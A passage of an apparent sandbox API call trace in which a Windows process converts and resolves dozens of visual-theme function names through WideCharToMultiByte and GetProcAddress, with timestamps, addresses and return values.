lpMultiByteStr=0x25a85b4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemePartSize", lpUsedDefaultChar=0x0) returned 16 [0095.095] GetProcAddress (hModule=0x74310000, lpProcName="GetThemePartSize") returned 0x74347470 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeTextExtent", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeTextExtent", cchWideChar=18, lpMultiByteStr=0x25a85b4, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeTextExtent", lpUsedDefaultChar=0x0) returned 18 [0095.095] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeTextExtent") returned 0x743400a0 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeTextMetrics", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeTextMetrics", cchWideChar=19, lpMultiByteStr=0x25a85b4, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeTextMetrics", lpUsedDefaultChar=0x0) returned 19 [0095.095] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeTextMetrics") returned 0x74340430 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBackgroundRegion", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBackgroundRegion", cchWideChar=24, lpMultiByteStr=0x25afc3c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeBackgroundRegion", lpUsedDefaultChar=0x0) returned 24 [0095.095] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeBackgroundRegion") returned 0x7433b0a0 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HitTestThemeBackground", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0095.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HitTestThemeBackground", cchWideChar=22, lpMultiByteStr=0x25a85b4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HitTestThemeBackground", lpUsedDefaultChar=0x0) returned 22 [0095.096] GetProcAddress (hModule=0x74310000, lpProcName="HitTestThemeBackground") returned 0x7436e0d0 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeEdge", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeEdge", cchWideChar=13, lpMultiByteStr=0x258ad8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DrawThemeEdge", lpUsedDefaultChar=0x0) returned 13 [0095.096] GetProcAddress (hModule=0x74310000, lpProcName="DrawThemeEdge") returned 0x7436ca70 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeIcon", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeIcon", cchWideChar=13, lpMultiByteStr=0x258ad8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DrawThemeIcon", lpUsedDefaultChar=0x0) returned 13 [0095.096] GetProcAddress (hModule=0x74310000, lpProcName="DrawThemeIcon") returned 0x7436cb10 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemePartDefined", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemePartDefined", cchWideChar=18, lpMultiByteStr=0x25a85b4, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsThemePartDefined", lpUsedDefaultChar=0x0) returned 18 [0095.096] GetProcAddress (hModule=0x74310000, lpProcName="IsThemePartDefined") returned 0x743433c0 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemeBackgroundPartiallyTransparent", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0095.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemeBackgroundPartiallyTransparent", cchWideChar=37, lpMultiByteStr=0x25c5194, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsThemeBackgroundPartiallyTransparent", lpUsedDefaultChar=0x0) returned 37 [0095.097] GetProcAddress (hModule=0x74310000, lpProcName="IsThemeBackgroundPartiallyTransparent") returned 0x743436e0 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeColor", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeColor", cchWideChar=13, lpMultiByteStr=0x258ad8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeColor", lpUsedDefaultChar=0x0) returned 13 [0095.097] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeColor") returned 0x743424b0 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeMetric", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeMetric", cchWideChar=14, lpMultiByteStr=0x258ad8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeMetric", lpUsedDefaultChar=0x0) returned 14 [0095.097] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeMetric") returned 0x7436d860 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeString", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeString", cchWideChar=14, lpMultiByteStr=0x258ad8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeString", lpUsedDefaultChar=0x0) returned 14 [0095.097] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeString") returned 0x7436d9e0 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0095.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBool", cchWideChar=12, lpMultiByteStr=0x258ad8c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeBool", lpUsedDefaultChar=0x0) returned 12 [0095.097] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeBool") returned 0x743428d0 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeInt", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeInt", cchWideChar=11, lpMultiByteStr=0x258ad8c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeInt", lpUsedDefaultChar=0x0) returned 11 [0095.098] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeInt") returned 0x74342d10 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeEnumValue", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeEnumValue", cchWideChar=17, lpMultiByteStr=0x25a85b4, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeEnumValue", lpUsedDefaultChar=0x0) returned 17 [0095.098] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeEnumValue") returned 0x74341360 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemePosition", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemePosition", cchWideChar=16, lpMultiByteStr=0x25a85b4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemePosition", lpUsedDefaultChar=0x0) returned 16 [0095.098] GetProcAddress (hModule=0x74310000, lpProcName="GetThemePosition") returned 0x74340af0 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeFont", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0095.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeFont", cchWideChar=12, lpMultiByteStr=0x258ad8c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeFont", lpUsedDefaultChar=0x0) returned 12 [0095.098] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeFont") returned 0x74340350 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeRect", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeRect", cchWideChar=12, lpMultiByteStr=0x258ad8c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeRect", lpUsedDefaultChar=0x0) returned 12 [0095.099] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeRect") returned 0x7436d900 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeMargins", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeMargins", cchWideChar=15, lpMultiByteStr=0x258ad8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeMargins", lpUsedDefaultChar=0x0) returned 15 [0095.099] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeMargins") returned 0x74342750 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeIntList", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeIntList", cchWideChar=15, lpMultiByteStr=0x258ad8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeIntList", lpUsedDefaultChar=0x0) returned 15 [0095.099] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeIntList") returned 0x7436d7f0 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemePropertyOrigin", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemePropertyOrigin", cchWideChar=22, lpMultiByteStr=0x25a85b4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemePropertyOrigin", lpUsedDefaultChar=0x0) returned 22 [0095.099] GetProcAddress (hModule=0x74310000, lpProcName="GetThemePropertyOrigin") returned 0x74334660 [0095.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetWindowTheme", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetWindowTheme", cchWideChar=14, lpMultiByteStr=0x258ad8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetWindowTheme", lpUsedDefaultChar=0x0) returned 14 [0095.100] GetProcAddress (hModule=0x74310000, lpProcName="SetWindowTheme") returned 0x743342a0 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeFilename", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeFilename", cchWideChar=16, lpMultiByteStr=0x25a85b4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeFilename", lpUsedDefaultChar=0x0) returned 16 [0095.100] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeFilename") returned 0x7436d770 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysColor", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysColor", cchWideChar=16, lpMultiByteStr=0x25a85b4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeSysColor", lpUsedDefaultChar=0x0) returned 16 [0095.100] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeSysColor") returned 0x7436db10 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysColorBrush", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysColorBrush", cchWideChar=21, lpMultiByteStr=0x25a85b4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeSysColorBrush", lpUsedDefaultChar=0x0) returned 21 [0095.100] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeSysColorBrush") returned 0x7436dbc0 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysBool", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0095.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysBool", cchWideChar=15, lpMultiByteStr=0x258ad8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeSysBool", lpUsedDefaultChar=0x0) returned 15 [0095.101] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeSysBool") returned 0x7436da60 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysSize", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysSize", cchWideChar=15, lpMultiByteStr=0x258ad8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeSysSize", lpUsedDefaultChar=0x0) returned 15 [0095.101] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeSysSize") returned 0x7436de80 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysFont", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysFont", cchWideChar=15, lpMultiByteStr=0x258ad8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeSysFont", lpUsedDefaultChar=0x0) returned 15 [0095.101] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeSysFont") returned 0x7436dc70 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysString", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysString", cchWideChar=17, lpMultiByteStr=0x25a85b4, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeSysString", lpUsedDefaultChar=0x0) returned 17 [0095.101] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeSysString") returned 0x7436df20 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysInt", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0095.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeSysInt", cchWideChar=14, lpMultiByteStr=0x258ad8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeSysInt", lpUsedDefaultChar=0x0) returned 14 [0095.102] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeSysInt") returned 0x7436de00 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemeActive", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemeActive", cchWideChar=13, lpMultiByteStr=0x258ad8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsThemeActive", lpUsedDefaultChar=0x0) returned 13 [0095.102] GetProcAddress (hModule=0x74310000, lpProcName="IsThemeActive") returned 0x74342890 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsAppThemed", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsAppThemed", cchWideChar=11, lpMultiByteStr=0x258ad8c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsAppThemed", lpUsedDefaultChar=0x0) returned 11 [0095.102] GetProcAddress (hModule=0x74310000, lpProcName="IsAppThemed") returned 0x743425a0 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetWindowTheme", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetWindowTheme", cchWideChar=14, lpMultiByteStr=0x258ad8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetWindowTheme", lpUsedDefaultChar=0x0) returned 14 [0095.102] GetProcAddress (hModule=0x74310000, lpProcName="GetWindowTheme") returned 0x7436e080 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EnableThemeDialogTexture", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0095.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EnableThemeDialogTexture", cchWideChar=24, lpMultiByteStr=0x25afc3c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EnableThemeDialogTexture", lpUsedDefaultChar=0x0) returned 24 [0095.103] GetProcAddress (hModule=0x74310000, lpProcName="EnableThemeDialogTexture") returned 0x74333970 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemeDialogTextureEnabled", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsThemeDialogTextureEnabled", cchWideChar=27, lpMultiByteStr=0x25afc3c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsThemeDialogTextureEnabled", lpUsedDefaultChar=0x0) returned 27 [0095.103] GetProcAddress (hModule=0x74310000, lpProcName="IsThemeDialogTextureEnabled") returned 0x7436e260 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeAppProperties", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeAppProperties", cchWideChar=21, lpMultiByteStr=0x25a85b4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeAppProperties", lpUsedDefaultChar=0x0) returned 21 [0095.103] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeAppProperties") returned 0x743354e0 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetThemeAppProperties", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetThemeAppProperties", cchWideChar=21, lpMultiByteStr=0x25a85b4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetThemeAppProperties", lpUsedDefaultChar=0x0) returned 21 [0095.103] GetProcAddress (hModule=0x74310000, lpProcName="SetThemeAppProperties") returned 0x7436e590 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetCurrentThemeName", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetCurrentThemeName", cchWideChar=19, lpMultiByteStr=0x25a85b4, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentThemeName", lpUsedDefaultChar=0x0) returned 19 [0095.104] GetProcAddress (hModule=0x74310000, lpProcName="GetCurrentThemeName") returned 0x74334e10 [0095.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeDocumentationProperty", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0095.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeDocumentationProperty", cchWideChar=29, lpMultiByteStr=0x25afc3c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeDocumentationProperty", lpUsedDefaultChar=0x0) returned 29 [0095.104] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeDocumentationProperty") returned 0x7436d700 [0095.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeParentBackground", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeParentBackground", cchWideChar=25, lpMultiByteStr=0x25afc3c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DrawThemeParentBackground", lpUsedDefaultChar=0x0) returned 25 [0095.104] GetProcAddress (hModule=0x74310000, lpProcName="DrawThemeParentBackground") returned 0x743336b0 [0095.104] WideCharToMultiByte (in: CodePage=0x4e4, 